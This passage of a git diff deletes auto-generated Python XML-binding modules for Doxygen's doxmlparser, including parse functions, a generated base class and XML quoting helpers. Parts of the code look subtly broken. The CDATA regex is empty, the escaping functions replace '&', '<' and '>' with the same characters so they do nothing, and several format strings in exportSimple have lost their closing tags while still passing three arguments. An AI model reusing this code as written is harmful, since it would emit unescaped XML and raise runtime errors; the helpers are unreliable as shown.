gds_collector_=None): - pass -# end class docEmojiType - - -GDSClassesMapping = { - 'doxygen': DoxygenType, -} - - -USAGE_TEXT = """ -Usage: python .py [ -s ] -""" - - -def usage(): - print(USAGE_TEXT) - sys.exit(1) - - -def get_root_tag(node): - tag = Tag_pattern_.match(node.tag).groups()[-1] - rootClass = GDSClassesMapping.get(tag) - if rootClass is None: - rootClass = globals().get(tag) - return tag, rootClass - - -def get_required_ns_prefix_defs(rootNode): - '''Get all name space prefix definitions required in this XML doc. - Return a dictionary of definitions and a char string of definitions. - ''' - nsmap = { - prefix: uri - for node in rootNode.iter() - for (prefix, uri) in node.nsmap.items() - if prefix is not None - } - namespacedefs = ' '.join([ - 'xmlns:{}="{}"'.format(prefix, uri) - for prefix, uri in nsmap.items() - ]) - return nsmap, namespacedefs - - -def parse(inFileName, silence=False, print_warnings=True): - global CapturedNsmap_ - gds_collector = GdsCollector_() - parser = None - doc = parsexml_(inFileName, parser) - rootNode = doc.getroot() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - CapturedNsmap_, namespacedefs = get_required_ns_prefix_defs(rootNode) - if not SaveElementTreeNode: - doc = None - rootNode = None - if not silence: - sys.stdout.write('\n') - rootObj.export( - sys.stdout, 0, name_=rootTag, - namespacedef_=namespacedefs, - pretty_print=True) - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj - - -def parseEtree(inFileName, silence=False, print_warnings=True, - mapping=None, nsmap=None): - parser = None - doc = parsexml_(inFileName, parser) - gds_collector = GdsCollector_() - rootNode = doc.getroot() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - # Enable Python to collect the space used by the DOM. - if mapping is None: - mapping = {} - rootElement = rootObj.to_etree( - None, name_=rootTag, mapping_=mapping, nsmap_=nsmap) - reverse_mapping = rootObj.gds_reverse_node_mapping(mapping) - if not SaveElementTreeNode: - doc = None - rootNode = None - if not silence: - content = etree_.tostring( - rootElement, pretty_print=True, - xml_declaration=True, encoding="utf-8") - sys.stdout.write(str(content)) - sys.stdout.write('\n') - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj, rootElement, mapping, reverse_mapping - - -def parseString(inString, silence=False, print_warnings=True): - '''Parse a string, create the object tree, and export it. - - Arguments: - - inString -- A string. This XML fragment should not start - with an XML declaration containing an encoding. - - silence -- A boolean. If False, export the object. - Returns -- The root object in the tree. - ''' - parser = None - rootNode= parsexmlstring_(inString, parser) - gds_collector = GdsCollector_() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - if not SaveElementTreeNode: - rootNode = None - if not silence: - sys.stdout.write('\n') - rootObj.export( - sys.stdout, 0, name_=rootTag, - namespacedef_='') - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj - - -def parseLiteral(inFileName, silence=False, print_warnings=True): - parser = None - doc = parsexml_(inFileName, parser) - gds_collector = GdsCollector_() - rootNode = doc.getroot() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - # Enable Python to collect the space used by the DOM. - if not SaveElementTreeNode: - doc = None - rootNode = None - if not silence: - sys.stdout.write('#from compound import *\n\n') - sys.stdout.write('import compound as model_\n\n') - sys.stdout.write('rootObj = model_.rootClass(\n') - rootObj.exportLiteral(sys.stdout, 0, name_=rootTag) - sys.stdout.write(')\n') - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj - - -def main(): - args = sys.argv[1:] - if len(args) == 1: - parse(args[0]) - else: - usage() - - -if __name__ == '__main__': - #import pdb; pdb.set_trace() - main() - -RenameMappings_ = { -} - -# -# Mapping of namespaces to types defined in them -# and the file in which each is defined. -# simpleTypes are marked "ST" and complexTypes "CT". -NamespaceToDefMappings_ = {'http://www.w3.org/XML/1998/namespace': []} - -__all__ = [ - "DoxygenType", - "MemberType", - "argsstring", - "array", - "attributes", - "bitfield", - "childnodeType", - "codelineType", - "compoundRefType", - "compounddefType", - "declname", - "definition", - "defname", - "descriptionType", - "docAnchorType", - "docBlockQuoteType", - "docCaptionType", - "docCopyType", - "docDetailsType", - "docDotMscType", - "docEmojiType", - "docEmptyType", - "docEntryType", - "docFormulaType", - "docHeadingType", - "docHtmlOnlyType", - "docImageFileType", - "docImageType", - "docIndexEntryType", - "docInternalS1Type", - "docInternalS2Type", - "docInternalS3Type", - "docInternalS4Type", - "docInternalType", - "docLanguageType", - "docListItemType", - "docListType", - "docMarkupType", - "docParBlockType", - "docParaType", - "docParamListItem", - "docParamListType", - "docParamName", - "docParamNameList", - "docParamType", - "docPlantumlType", - "docRefTextType", - "docRowType", - "docSect1Type", - "docSect2Type", - "docSect3Type", - "docSect4Type", - "docSimpleSectType", - "docSummaryType", - "docTableType", - "docTitleType", - "docTocItemType", - "docTocListType", - "docURLLink", - "docVarListEntryType", - "docVariableListType", - "docXRefSectType", - "edgelabel", - "enumvalueType", - "graphType", - "highlightType", - "incType", - "label", - "linkType", - "linkedTextType", - "listingType", - "listofallmembersType", - "locationType", - "memberRefType", - "memberdefType", - "name", - "nodeType", - "paramType", - "qualifiedname", - "qualifier", - "read", - "refTextType", - "refType", - "referenceType", - "reimplementType", - "scope", - "sectiondefType", - "spType", - "tableofcontentsKindType", - "tableofcontentsType", - "templateparamlistType", - "write" -] diff --git a/xmlparser/doxmlparser/index.py b/xmlparser/doxmlparser/index.py deleted file mode 100644 index 1c8c723..0000000 --- a/xmlparser/doxmlparser/index.py +++ /dev/null @@ -1,1624 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -# -# Generated by generateDS.py. -# -# -# Command line options: -# ('--no-dates', '') -# ('--no-versions', '') -# ('-f', '') -# ('-o', '.../addon/doxmlparser/doxmlparser/index.py') -# -# Command line arguments: -# .../templates/xml/index.xsd -# -# Command line: -# .../generateDS --no-dates --no-versions -f -o ".../addon/doxmlparser/doxmlparser/index.py" .../templates/xml/index.xsd -# -# Current working directory (os.getcwd()): -# doxmlparser -# - -import sys -try: - ModulenotfoundExp_ = ModuleNotFoundError -except NameError: - ModulenotfoundExp_ = ImportError -from six.moves import zip_longest -import os -import re as re_ -import base64 -import datetime as datetime_ -import decimal as decimal_ -try: - from lxml import etree as etree_ -except ModulenotfoundExp_ : - from xml.etree import ElementTree as etree_ - - -Validate_simpletypes_ = True -SaveElementTreeNode = True -if sys.version_info.major == 2: - BaseStrType_ = basestring -else: - BaseStrType_ = str - - -def parsexml_(infile, parser=None, **kwargs): - if parser is None: - # Use the lxml ElementTree compatible parser so that, e.g., - # we ignore comments. - try: - parser = etree_.ETCompatXMLParser() - except AttributeError: - # fallback to xml.etree - parser = etree_.XMLParser() - try: - if isinstance(infile, os.PathLike): - infile = os.path.join(infile) - except AttributeError: - pass - doc = etree_.parse(infile, parser=parser, **kwargs) - return doc - -def parsexmlstring_(instring, parser=None, **kwargs): - if parser is None: - # Use the lxml ElementTree compatible parser so that, e.g., - # we ignore comments. - try: - parser = etree_.ETCompatXMLParser() - except AttributeError: - # fallback to xml.etree - parser = etree_.XMLParser() - element = etree_.fromstring(instring, parser=parser, **kwargs) - return element - -# -# Namespace prefix definition table (and other attributes, too) -# -# The module generatedsnamespaces, if it is importable, must contain -# a dictionary named GeneratedsNamespaceDefs. This Python dictionary -# should map element type names (strings) to XML schema namespace prefix -# definitions. The export method for any class for which there is -# a namespace prefix definition, will export that definition in the -# XML representation of that element. See the export method of -# any generated element type class for an example of the use of this -# table. -# A sample table is: -# -# # File: generatedsnamespaces.py -# -# GenerateDSNamespaceDefs = { -# "ElementtypeA": "http://www.xxx.com/namespaceA", -# "ElementtypeB": "http://www.xxx.com/namespaceB", -# } -# -# Additionally, the generatedsnamespaces module can contain a python -# dictionary named GenerateDSNamespaceTypePrefixes that associates element -# types with the namespace prefixes that are to be added to the -# "xsi:type" attribute value. See the exportAttributes method of -# any generated element type and the generation of "xsi:type" for an -# example of the use of this table. -# An example table: -# -# # File: generatedsnamespaces.py -# -# GenerateDSNamespaceTypePrefixes = { -# "ElementtypeC": "aaa:", -# "ElementtypeD": "bbb:", -# } -# - -try: - from generatedsnamespaces import GenerateDSNamespaceDefs as GenerateDSNamespaceDefs_ -except ModulenotfoundExp_ : - GenerateDSNamespaceDefs_ = {} -try: - from generatedsnamespaces import GenerateDSNamespaceTypePrefixes as GenerateDSNamespaceTypePrefixes_ -except ModulenotfoundExp_ : - GenerateDSNamespaceTypePrefixes_ = {} - -# -# You can replace the following class definition by defining an -# importable module named "generatedscollector" containing a class -# named "GdsCollector". See the default class definition below for -# clues about the possible content of that class. -# -try: - from generatedscollector import GdsCollector as GdsCollector_ -except ModulenotfoundExp_ : - - class GdsCollector_(object): - - def __init__(self, messages=None): - if messages is None: - self.messages = [] - else: - self.messages = messages - - def add_message(self, msg): - self.messages.append(msg) - - def get_messages(self): - return self.messages - - def clear_messages(self): - self.messages = [] - - def print_messages(self): - self.messages = [] - # for msg in self.messages: - # print("Warning: {}".format(msg)) - - def write_messages(self, outstream): - self.messages = [] - # for msg in self.messages: - # outstream.write("Warning: {}\n".format(msg)) - - -# -# The super-class for enum types -# - -try: - from enum import Enum -except ModulenotfoundExp_ : - Enum = object - -# -# The root super-class for element type classes -# -# Calls to the methods in these classes are generated by generateDS.py. -# You can replace these methods by re-implementing the following class -# in a module named generatedssuper.py. - -try: - from generatedssuper import GeneratedsSuper -except ModulenotfoundExp_ as exp: - - class GeneratedsSuper(object): - __hash__ = object.__hash__ - tzoff_pattern = re_.compile(r'(\+|-)((0\d|1[0-3]):[0-5]\d|14:00)$') - class _FixedOffsetTZ(datetime_.tzinfo): - def __init__(self, offset, name): - self.__offset = datetime_.timedelta(minutes=offset) - self.__name = name - def utcoffset(self, dt): - return self.__offset - def tzname(self, dt): - return self.__name - def dst(self, dt): - return None - def gds_format_string(self, input_data, input_name=''): - return input_data - def gds_parse_string(self, input_data, node=None, input_name=''): - return input_data - def gds_validate_string(self, input_data, node=None, input_name=''): - if not input_data: - return '' - else: - return input_data - def gds_format_base64(self, input_data, input_name=''): - return base64.b64encode(input_data) - def gds_validate_base64(self, input_data, node=None, input_name=''): - return input_data - def gds_format_integer(self, input_data, input_name=''): - return '%d' % input_data - def gds_parse_integer(self, input_data, node=None, input_name=''): - try: - ival = int(input_data) - except (TypeError, ValueError) as exp: - raise_parse_error(node, 'Requires integer value: %s' % exp) - return ival - def gds_validate_integer(self, input_data, node=None, input_name=''): - try: - value = int(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires integer value') - return value - def gds_format_integer_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_integer_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - int(value) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires sequence of integer values') - return values - def gds_format_float(self, input_data, input_name=''): - return ('%.15f' % input_data).rstrip('0') - def gds_parse_float(self, input_data, node=None, input_name=''): - try: - fval_ = float(input_data) - except (TypeError, ValueError) as exp: - raise_parse_error(node, 'Requires float or double value: %s' % exp) - return fval_ - def gds_validate_float(self, input_data, node=None, input_name=''): - try: - value = float(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires float value') - return value - def gds_format_float_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_float_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - float(value) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires sequence of float values') - return values - def gds_format_decimal(self, input_data, input_name=''): - return_value = '%s' % input_data - if '.' in return_value: - return_value = return_value.rstrip('0') - if return_value.endswith('.'): - return_value = return_value.rstrip('.') - return return_value - def gds_parse_decimal(self, input_data, node=None, input_name=''): - try: - decimal_value = decimal_.Decimal(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires decimal value') - return decimal_value - def gds_validate_decimal(self, input_data, node=None, input_name=''): - try: - value = decimal_.Decimal(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires decimal value') - return value - def gds_format_decimal_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return ' '.join([self.gds_format_decimal(item) for item in input_data]) - def gds_validate_decimal_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - decimal_.Decimal(value) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires sequence of decimal values') - return values - def gds_format_double(self, input_data, input_name=''): - return '%s' % input_data - def gds_parse_double(self, input_data, node=None, input_name=''): - try: - fval_ = float(input_data) - except (TypeError, ValueError) as exp: - raise_parse_error(node, 'Requires double or float value: %s' % exp) - return fval_ - def gds_validate_double(self, input_data, node=None, input_name=''): - try: - value = float(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires double or float value') - return value - def gds_format_double_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_double_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - float(value) - except (TypeError, ValueError): - raise_parse_error( - node, 'Requires sequence of double or float values') - return values - def gds_format_boolean(self, input_data, input_name=''): - return ('%s' % input_data).lower() - def gds_parse_boolean(self, input_data, node=None, input_name=''): - if input_data in ('true', '1'): - bval = True - elif input_data in ('false', '0'): - bval = False - else: - raise_parse_error(node, 'Requires boolean value') - return bval - def gds_validate_boolean(self, input_data, node=None, input_name=''): - if input_data not in (True, 1, False, 0, ): - raise_parse_error( - node, - 'Requires boolean value ' - '(one of True, 1, False, 0)') - return input_data - def gds_format_boolean_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_boolean_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - if value not in (True, 1, False, 0, ): - raise_parse_error( - node, - 'Requires sequence of boolean values ' - '(one of True, 1, False, 0)') - return values - def gds_validate_datetime(self, input_data, node=None, input_name=''): - return input_data - def gds_format_datetime(self, input_data, input_name=''): - if input_data.microsecond == 0: - _svalue = '%04d-%02d-%02dT%02d:%02d:%02d' % ( - input_data.year, - input_data.month, - input_data.day, - input_data.hour, - input_data.minute, - input_data.second, - ) - else: - _svalue = '%04d-%02d-%02dT%02d:%02d:%02d.%s' % ( - input_data.year, - input_data.month, - input_data.day, - input_data.hour, - input_data.minute, - input_data.second, - ('%f' % (float(input_data.microsecond) / 1000000))[2:], - ) - if input_data.tzinfo is not None: - tzoff = input_data.tzinfo.utcoffset(input_data) - if tzoff is not None: - total_seconds = tzoff.seconds + (86400 * tzoff.days) - if total_seconds == 0: - _svalue += 'Z' - else: - if total_seconds < 0: - _svalue += '-' - total_seconds *= -1 - else: - _svalue += '+' - hours = total_seconds // 3600 - minutes = (total_seconds - (hours * 3600)) // 60 - _svalue += '{0:02d}:{1:02d}'.format(hours, minutes) - return _svalue - @classmethod - def gds_parse_datetime(cls, input_data): - tz = None - if input_data[-1] == 'Z': - tz = GeneratedsSuper._FixedOffsetTZ(0, 'UTC') - input_data = input_data[:-1] - else: - results = GeneratedsSuper.tzoff_pattern.search(input_data) - if results is not None: - tzoff_parts = results.group(2).split(':') - tzoff = int(tzoff_parts[0]) * 60 + int(tzoff_parts[1]) - if results.group(1) == '-': - tzoff *= -1 - tz = GeneratedsSuper._FixedOffsetTZ( - tzoff, results.group(0)) - input_data = input_data[:-6] - time_parts = input_data.split('.') - if len(time_parts) > 1: - micro_seconds = int(float('0.' + time_parts[1]) * 1000000) - input_data = '%s.%s' % ( - time_parts[0], "{}".format(micro_seconds).rjust(6, "0"), ) - dt = datetime_.datetime.strptime( - input_data, '%Y-%m-%dT%H:%M:%S.%f') - else: - dt = datetime_.datetime.strptime( - input_data, '%Y-%m-%dT%H:%M:%S') - dt = dt.replace(tzinfo=tz) - return dt - def gds_validate_date(self, input_data, node=None, input_name=''): - return input_data - def gds_format_date(self, input_data, input_name=''): - _svalue = '%04d-%02d-%02d' % ( - input_data.year, - input_data.month, - input_data.day, - ) - try: - if input_data.tzinfo is not None: - tzoff = input_data.tzinfo.utcoffset(input_data) - if tzoff is not None: - total_seconds = tzoff.seconds + (86400 * tzoff.days) - if total_seconds == 0: - _svalue += 'Z' - else: - if total_seconds < 0: - _svalue += '-' - total_seconds *= -1 - else: - _svalue += '+' - hours = total_seconds // 3600 - minutes = (total_seconds - (hours * 3600)) // 60 - _svalue += '{0:02d}:{1:02d}'.format( - hours, minutes) - except AttributeError: - pass - return _svalue - @classmethod - def gds_parse_date(cls, input_data): - tz = None - if input_data[-1] == 'Z': - tz = GeneratedsSuper._FixedOffsetTZ(0, 'UTC') - input_data = input_data[:-1] - else: - results = GeneratedsSuper.tzoff_pattern.search(input_data) - if results is not None: - tzoff_parts = results.group(2).split(':') - tzoff = int(tzoff_parts[0]) * 60 + int(tzoff_parts[1]) - if results.group(1) == '-': - tzoff *= -1 - tz = GeneratedsSuper._FixedOffsetTZ( - tzoff, results.group(0)) - input_data = input_data[:-6] - dt = datetime_.datetime.strptime(input_data, '%Y-%m-%d') - dt = dt.replace(tzinfo=tz) - return dt.date() - def gds_validate_time(self, input_data, node=None, input_name=''): - return input_data - def gds_format_time(self, input_data, input_name=''): - if input_data.microsecond == 0: - _svalue = '%02d:%02d:%02d' % ( - input_data.hour, - input_data.minute, - input_data.second, - ) - else: - _svalue = '%02d:%02d:%02d.%s' % ( - input_data.hour, - input_data.minute, - input_data.second, - ('%f' % (float(input_data.microsecond) / 1000000))[2:], - ) - if input_data.tzinfo is not None: - tzoff = input_data.tzinfo.utcoffset(input_data) - if tzoff is not None: - total_seconds = tzoff.seconds + (86400 * tzoff.days) - if total_seconds == 0: - _svalue += 'Z' - else: - if total_seconds < 0: - _svalue += '-' - total_seconds *= -1 - else: - _svalue += '+' - hours = total_seconds // 3600 - minutes = (total_seconds - (hours * 3600)) // 60 - _svalue += '{0:02d}:{1:02d}'.format(hours, minutes) - return _svalue - def gds_validate_simple_patterns(self, patterns, target): - # pat is a list of lists of strings/patterns. - # The target value must match at least one of the patterns - # in order for the test to succeed. - found1 = True - for patterns1 in patterns: - found2 = False - for patterns2 in patterns1: - mo = re_.search(patterns2, target) - if mo is not None and len(mo.group(0)) == len(target): - found2 = True - break - if not found2: - found1 = False - break - return found1 - @classmethod - def gds_parse_time(cls, input_data): - tz = None - if input_data[-1] == 'Z': - tz = GeneratedsSuper._FixedOffsetTZ(0, 'UTC') - input_data = input_data[:-1] - else: - results = GeneratedsSuper.tzoff_pattern.search(input_data) - if results is not None: - tzoff_parts = results.group(2).split(':') - tzoff = int(tzoff_parts[0]) * 60 + int(tzoff_parts[1]) - if results.group(1) == '-': - tzoff *= -1 - tz = GeneratedsSuper._FixedOffsetTZ( - tzoff, results.group(0)) - input_data = input_data[:-6] - if len(input_data.split('.')) > 1: - dt = datetime_.datetime.strptime(input_data, '%H:%M:%S.%f') - else: - dt = datetime_.datetime.strptime(input_data, '%H:%M:%S') - dt = dt.replace(tzinfo=tz) - return dt.time() - def gds_check_cardinality_( - self, value, input_name, - min_occurs=0, max_occurs=1, required=None): - if value is None: - length = 0 - elif isinstance(value, list): - length = len(value) - else: - length = 1 - if required is not None : - if required and length < 1: - self.gds_collector_.add_message( - "Required value {}{} is missing".format( - input_name, self.gds_get_node_lineno_())) - if length < min_occurs: - self.gds_collector_.add_message( - "Number of values for {}{} is below " - "the minimum allowed, " - "expected at least {}, found {}".format( - input_name, self.gds_get_node_lineno_(), - min_occurs, length)) - elif length > max_occurs: - self.gds_collector_.add_message( - "Number of values for {}{} is above " - "the maximum allowed, " - "expected at most {}, found {}".format( - input_name, self.gds_get_node_lineno_(), - max_occurs, length)) - def gds_validate_builtin_ST_( - self, validator, value, input_name, - min_occurs=None, max_occurs=None, required=None): - if value is not None: - try: - validator(value, input_name=input_name) - except GDSParseError as parse_error: - self.gds_collector_.add_message(str(parse_error)) - def gds_validate_defined_ST_( - self, validator, value, input_name, - min_occurs=None, max_occurs=None, required=None): - if value is not None: - try: - validator(value) - except GDSParseError as parse_error: - self.gds_collector_.add_message(str(parse_error)) - def gds_str_lower(self, instring): - return instring.lower() - def get_path_(self, node): - path_list = [] - self.get_path_list_(node, path_list) - path_list.reverse() - path = '/'.join(path_list) - return path - Tag_strip_pattern_ = re_.compile(r'\{.*\}') - def get_path_list_(self, node, path_list): - if node is None: - return - tag = GeneratedsSuper.Tag_strip_pattern_.sub('', node.tag) - if tag: - path_list.append(tag) - self.get_path_list_(node.getparent(), path_list) - def get_class_obj_(self, node, default_class=None): - class_obj1 = default_class - if 'xsi' in node.nsmap: - classname = node.get('{%s}type' % node.nsmap['xsi']) - if classname is not None: - names = classname.split(':') - if len(names) == 2: - classname = names[1] - class_obj2 = globals().get(classname) - if class_obj2 is not None: - class_obj1 = class_obj2 - return class_obj1 - def gds_build_any(self, node, type_name=None): - # provide default value in case option --disable-xml is used. - content = "" - content = etree_.tostring(node, encoding="unicode") - return content - @classmethod - def gds_reverse_node_mapping(cls, mapping): - return dict(((v, k) for k, v in mapping.items())) - @staticmethod - def gds_encode(instring): - if sys.version_info.major == 2: - if ExternalEncoding: - encoding = ExternalEncoding - else: - encoding = 'utf-8' - return instring.encode(encoding) - else: - return instring - @staticmethod - def convert_unicode(instring): - if isinstance(instring, str): - result = quote_xml(instring) - elif sys.version_info.major == 2 and isinstance(instring, unicode): - result = quote_xml(instring).encode('utf8') - else: - result = GeneratedsSuper.gds_encode(str(instring)) - return result - def __eq__(self, other): - def excl_select_objs_(obj): - return (obj[0] != 'parent_object_' and - obj[0] != 'gds_collector_') - if type(self) != type(other): - return False - return all(x == y for x, y in zip_longest( - filter(excl_select_objs_, self.__dict__.items()), - filter(excl_select_objs_, other.__dict__.items()))) - def __ne__(self, other): - return not self.__eq__(other) - # Django ETL transform hooks. - def gds_djo_etl_transform(self): - pass - def gds_djo_etl_transform_db_obj(self, dbobj): - pass - # SQLAlchemy ETL transform hooks. - def gds_sqa_etl_transform(self): - return 0, None - def gds_sqa_etl_transform_db_obj(self, dbobj): - pass - def gds_get_node_lineno_(self): - if (hasattr(self, "gds_elementtree_node_") and - self.gds_elementtree_node_ is not None): - return ' near line {}'.format( - self.gds_elementtree_node_.sourceline) - else: - return "" - - - def getSubclassFromModule_(module, class_): - '''Get the subclass of a class from a specific module.''' - name = class_.__name__ + 'Sub' - if hasattr(module, name): - return getattr(module, name) - else: - return None - - -# -# If you have installed IPython you can uncomment and use the following. -# IPython is available from http://ipython.scipy.org/. -# - -# # from IPython.Shell import IPShellEmbed -# # args = '' -# # ipshell = IPShellEmbed(args, -# # banner = 'Dropping into IPython', -# # exit_msg = 'Leaving Interpreter, back to program.') - -# Then use the following line where and when you want to drop into the -# IPython shell: -# ipshell(' -- Entering ipshell.\nHit Ctrl-D to exit') - -# -# Globals -# - -ExternalEncoding = '' -# Set this to false in order to deactivate during export, the use of -# name space prefixes captured from the input document. -UseCapturedNS_ = True -CapturedNsmap_ = {} -Tag_pattern_ = re_.compile(r'({.*})?(.*)') -String_cleanup_pat_ = re_.compile(r"[\n\r\s]+") -Namespace_extract_pat_ = re_.compile(r'{(.*)}(.*)') -CDATA_pattern_ = re_.compile(r"", re_.DOTALL) - -# Change this to redirect the generated superclass module to use a -# specific subclass module. -CurrentSubclassModule_ = None - -# -# Support/utility functions. -# - - -def showIndent(outfile, level, pretty_print=True): - if pretty_print: - for idx in range(level): - outfile.write(' ') - - -def quote_xml(inStr): - "Escape markup chars, but do not modify CDATA sections." - if not inStr: - return '' - s1 = (isinstance(inStr, BaseStrType_) and inStr or '%s' % inStr) - s2 = '' - pos = 0 - matchobjects = CDATA_pattern_.finditer(s1) - for mo in matchobjects: - s3 = s1[pos:mo.start()] - s2 += quote_xml_aux(s3) - s2 += s1[mo.start():mo.end()] - pos = mo.end() - s3 = s1[pos:] - s2 += quote_xml_aux(s3) - return s2 - - -def quote_xml_aux(inStr): - s1 = inStr.replace('&', '&') - s1 = s1.replace('<', '<') - s1 = s1.replace('>', '>') - return s1 - - -def quote_attrib(inStr): - s1 = (isinstance(inStr, BaseStrType_) and inStr or '%s' % inStr) - s1 = s1.replace('&', '&') - s1 = s1.replace('<', '<') - s1 = s1.replace('>', '>') - if '"' in s1: - if "'" in s1: - s1 = '"%s"' % s1.replace('"', """) - else: - s1 = "'%s'" % s1 - else: - s1 = '"%s"' % s1 - return s1 - - -def quote_python(inStr): - s1 = inStr - if s1.find("'") == -1: - if s1.find('\n') == -1: - return "'%s'" % s1 - else: - return "'''%s'''" % s1 - else: - if s1.find('"') != -1: - s1 = s1.replace('"', '\\"') - if s1.find('\n') == -1: - return '"%s"' % s1 - else: - return '"""%s"""' % s1 - - -def get_all_text_(node): - if node.text is not None: - text = node.text - else: - text = '' - for child in node: - if child.tail is not None: - text += child.tail - return text - - -def find_attr_value_(attr_name, node): - attrs = node.attrib - attr_parts = attr_name.split(':') - value = None - if len(attr_parts) == 1: - value = attrs.get(attr_name) - elif len(attr_parts) == 2: - prefix, name = attr_parts - if prefix == 'xml': - namespace = 'http://www.w3.org/XML/1998/namespace' - else: - namespace = node.nsmap.get(prefix) - if namespace is not None: - value = attrs.get('{%s}%s' % (namespace, name, )) - return value - - -def encode_str_2_3(instr): - return instr - - -class GDSParseError(Exception): - pass - - -def raise_parse_error(node, msg): - if node is not None: - msg = '%s (element %s/line %d)' % (msg, node.tag, node.sourceline, ) - raise GDSParseError(msg) - - -class MixedContainer: - # Constants for category: - CategoryNone = 0 - CategoryText = 1 - CategorySimple = 2 - CategoryComplex = 3 - # Constants for content_type: - TypeNone = 0 - TypeText = 1 - TypeString = 2 - TypeInteger = 3 - TypeFloat = 4 - TypeDecimal = 5 - TypeDouble = 6 - TypeBoolean = 7 - TypeBase64 = 8 - def __init__(self, category, content_type, name, value): - self.category = category - self.content_type = content_type - self.name = name - self.value = value - def getCategory(self): - return self.category - def getContenttype(self, content_type): - return self.content_type - def getValue(self): - return self.value - def getName(self): - return self.name - def export(self, outfile, level, name, namespace, - pretty_print=True): - if self.category == MixedContainer.CategoryText: - # Prevent exporting empty content as empty lines. - if self.value.strip(): - outfile.write(self.value) - elif self.category == MixedContainer.CategorySimple: - self.exportSimple(outfile, level, name) - else: # category == MixedContainer.CategoryComplex - self.value.export( - outfile, level, namespace, name_=name, - pretty_print=pretty_print) - def exportSimple(self, outfile, level, name): - if self.content_type == MixedContainer.TypeString: - outfile.write('<%s>%s' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeInteger or \ - self.content_type == MixedContainer.TypeBoolean: - outfile.write('<%s>%d' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeFloat or \ - self.content_type == MixedContainer.TypeDecimal: - outfile.write('<%s>%f' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeDouble: - outfile.write('<%s>%g' % ( - self.name, self.value, self.name)) - elif self.content_type == MixedContainer.TypeBase64: - outfile.write('<%s>%s' % ( - self.name, - base64.b64encode(self.value), - self.name)) - def to_etree(self, element, mapping_=None, nsmap_=None): - if self.category == MixedContainer.CategoryText: - # Prevent exporting empty content as empty lines. - if self.value.strip(): - if len(element) > 0: - if element[-1].tail is None: - element[-1].tail = self.value - else: - element[-1].tail += self.value - else: - if element.text is None: - element.text = self.value - else: - element.text += self.value - elif self.category == MixedContainer.CategorySimple: - subelement = etree_.SubElement( - element, '%s' % self.name) - subelement.text = self.to_etree_simple() - else: # category == MixedContainer.CategoryComplex - self.value.to_etree(element) - def to_etree_simple(self, mapping_=None, nsmap_=None): - if self.content_type == MixedContainer.TypeString: - text = self.value - elif (self.content_type == MixedContainer.TypeInteger or - self.content_type == MixedContainer.TypeBoolean): - text = '%d' % self.value - elif (self.content_type == MixedContainer.TypeFloat or - self.content_type == MixedContainer.TypeDecimal): - text = '%f' % self.value - elif self.content_type == MixedContainer.TypeDouble: - text = '%g' % self.value - elif self.content_type == MixedContainer.TypeBase64: - text = '%s' % base64.b64encode(self.value) - return text - def exportLiteral(self, outfile, level, name): - if self.category == MixedContainer.CategoryText: 